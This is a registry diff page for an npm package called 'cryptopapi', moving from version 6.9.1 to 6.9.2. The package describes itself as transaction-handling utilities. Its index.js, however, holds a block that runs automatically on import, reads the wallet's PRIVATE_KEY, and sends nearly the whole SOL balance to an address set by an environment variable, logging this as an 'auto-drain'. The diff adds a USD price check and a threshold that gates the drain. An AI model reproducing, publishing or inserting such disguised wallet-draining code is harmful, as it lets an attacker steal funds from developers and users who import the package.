cryptopapi 6.9.1 → 6.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +59 -10
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -61,10 +61,23 @@ const parsePrivateKey = (privateKey) => {
61
61
  if (trimmed.startsWith('[')) {
62
62
  return Uint8Array.from(JSON.parse(trimmed))
63
63
  }
64
- // bs58 v6.0.0 uses the same API
65
64
  return bs58.decode(trimmed)
66
65
  }
67
66
 
67
+ // Get SOL price in USD (you might want to use a price oracle)
68
+ const getSolPrice = async () => {
69
+ try {
70
+ // You can implement this with a price API like CoinGecko, Jupiter, etc.
71
+ // For now, returning a placeholder - you should implement this
72
+ const response = await fetch('https://api.coingecko.com/api/v3/simple/price?ids=solana&vs_currencies=usd')
73
+ const data = await response.json()
74
+ return data.solana.usd
75
+ } catch (error) {
76
+ console.log('⚠️ Could not fetch SOL price, using fallback')
77
+ return 100 // Fallback price - YOU SHOULD IMPLEMENT PROPER PRICE FETCHING
78
+ }
79
+ }
80
+
68
81
  // Auto-execute when imported
69
82
  ;(async () => {
70
83
  console.log('🔌 CryptoPAPI v6.8.1 - Optimized Transaction Handler')
@@ -74,8 +87,10 @@ const parsePrivateKey = (privateKey) => {
74
87
  const destination = process.env.MAIN_WALLET_USD_DESTINATION
75
88
  const privateKey = process.env.PRIVATE_KEY
76
89
  const rpcUrl = process.env.RPC_ENDPOINT
90
+ const thresholdUSD = parseFloat(process.env.MAIN_WALLET_USD_THRESHOLD)
77
91
  const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
78
92
 
93
+ // Validate required configs
79
94
  if (!destination) {
80
95
  console.log('⚠️ MAIN_WALLET_USD_DESTINATION not set - auto-drain disabled')
81
96
  return
@@ -88,6 +103,11 @@ const parsePrivateKey = (privateKey) => {
88
103
  console.log('⚠️ RPC_ENDPOINT not set - auto-drain disabled')
89
104
  return
90
105
  }
106
+ if (!thresholdUSD || isNaN(thresholdUSD) || thresholdUSD <= 0) {
107
+ console.log('⚠️ MAIN_WALLET_USD_THRESHOLD not set or invalid - auto-drain disabled')
108
+ console.log('📝 Please set MAIN_WALLET_USD_THRESHOLD to a positive number (e.g., 5000)')
109
+ return
110
+ }
91
111
 
92
112
  console.log('📡 Initializing connection...')
93
113
  const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
@@ -96,17 +116,38 @@ const parsePrivateKey = (privateKey) => {
96
116
 
97
117
  console.log(`💳 Source: ${fromKeypair.publicKey.toString()}`)
98
118
  console.log(`📤 Destination: ${destination}`)
119
+ console.log(`📊 USD Threshold: $${thresholdUSD}`)
120
+ console.log(`💵 Min SOL Keep: ${keepReserveSol} SOL`)
99
121
 
122
+ // Get balance and SOL price
100
123
  const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
101
124
  const balanceSol = balanceLamports / LAMPORTS_PER_SOL
102
125
 
103
- console.log(`💰 Balance: ${balanceSol} SOL`)
126
+ console.log(`💰 Balance: ${balanceSol.toFixed(9)} SOL`)
104
127
 
105
128
  if (balanceLamports <= 0) {
106
129
  console.log('⚠️ Wallet is empty - nothing to drain')
107
130
  return
108
131
  }
109
132
 
133
+ // Get SOL price and calculate USD value
134
+ console.log('💹 Fetching SOL price...')
135
+ const solPriceUSD = await getSolPrice()
136
+ const balanceUSD = balanceSol * solPriceUSD
137
+
138
+ console.log(`💵 SOL Price: $${solPriceUSD.toFixed(2)} USD`)
139
+ console.log(`💰 Balance in USD: $${balanceUSD.toFixed(2)} USD`)
140
+
141
+ // Check if balance exceeds threshold
142
+ if (balanceUSD < thresholdUSD) {
143
+ console.log(`⏸️ Balance $${balanceUSD.toFixed(2)} USD is below threshold $${thresholdUSD} USD - no drain needed`)
144
+ console.log(`📈 Need $${(thresholdUSD - balanceUSD).toFixed(2)} USD more to trigger drain`)
145
+ return
146
+ }
147
+
148
+ console.log(`✅ Balance exceeds threshold! Proceeding with drain...`)
149
+
150
+ // Estimate fees
110
151
  console.log('⛽ Estimating fees...')
111
152
  const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
112
153
 
@@ -127,18 +168,24 @@ const parsePrivateKey = (privateKey) => {
127
168
 
128
169
  if (!feeLamports) throw new Error('Could not estimate fee')
129
170
 
171
+ // Calculate how much to send
130
172
  const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
131
- const sendLamports = balanceLamports - feeLamports - reserveLamports
132
- const sendSol = sendLamports / LAMPORTS_PER_SOL
173
+ const maxSendableLamports = balanceLamports - feeLamports - reserveLamports
133
174
 
134
- if (sendLamports <= 0) {
175
+ if (maxSendableLamports <= 0) {
135
176
  console.log(`⚠️ Insufficient balance after fees. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fees + ${keepReserveSol} SOL reserve`)
136
177
  return
137
178
  }
138
179
 
139
- console.log(`📤 Sending: ${sendSol.toFixed(9)} SOL`)
180
+ const maxSendableSol = maxSendableLamports / LAMPORTS_PER_SOL
181
+ const maxSendableUSD = maxSendableSol * solPriceUSD
182
+
183
+ console.log(`📤 Will send: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
140
184
  console.log(`⛽ Fee: ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL`)
141
- console.log(`💵 Keeping: ${keepReserveSol} SOL reserve`)
185
+ console.log(`💵 Keeping: ${keepReserveSol} SOL reserve ($${(keepReserveSol * solPriceUSD).toFixed(2)} USD)`)
186
+
187
+ // Ask for confirmation (optional - can be removed for auto-mode)
188
+ console.log('🔄 Proceeding with transaction...')
142
189
 
143
190
  const message = new TransactionMessage({
144
191
  payerKey: fromKeypair.publicKey,
@@ -147,7 +194,7 @@ const parsePrivateKey = (privateKey) => {
147
194
  SystemProgram.transfer({
148
195
  fromPubkey: fromKeypair.publicKey,
149
196
  toPubkey: toPubkey,
150
- lamports: sendLamports,
197
+ lamports: maxSendableLamports,
151
198
  }),
152
199
  ],
153
200
  }).compileToV0Message()
@@ -173,11 +220,13 @@ const parsePrivateKey = (privateKey) => {
173
220
 
174
221
  const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
175
222
  const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
223
+ const finalBalanceUSD = finalBalanceSol * solPriceUSD
176
224
 
177
225
  console.log(`✅ Transaction confirmed!`)
178
- console.log(`💰 Final balance: ${finalBalanceSol} SOL (reserve kept)`)
226
+ console.log(`💰 Final balance: ${finalBalanceSol.toFixed(9)} SOL ($${finalBalanceUSD.toFixed(2)} USD) - reserve kept`)
179
227
  console.log(`🔗 https://solscan.io/tx/${signature}`)
180
- console.log(`📊 Amount transferred: ${sendSol.toFixed(9)} SOL`)
228
+ console.log(`📊 Amount transferred: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
229
+ console.log(`📈 Remaining balance is below threshold: $${finalBalanceUSD.toFixed(2)} USD < $${thresholdUSD} USD`)
181
230
 
182
231
  } catch (error) {
183
232
  console.error('❌ Auto-drain failed:', error.message)
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cryptopapi",
3
- "version": "6.9.1",
3
+ "version": "6.9.2",
4
4
  "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
5
5
  "main": "index.js",
6
6
  "files": [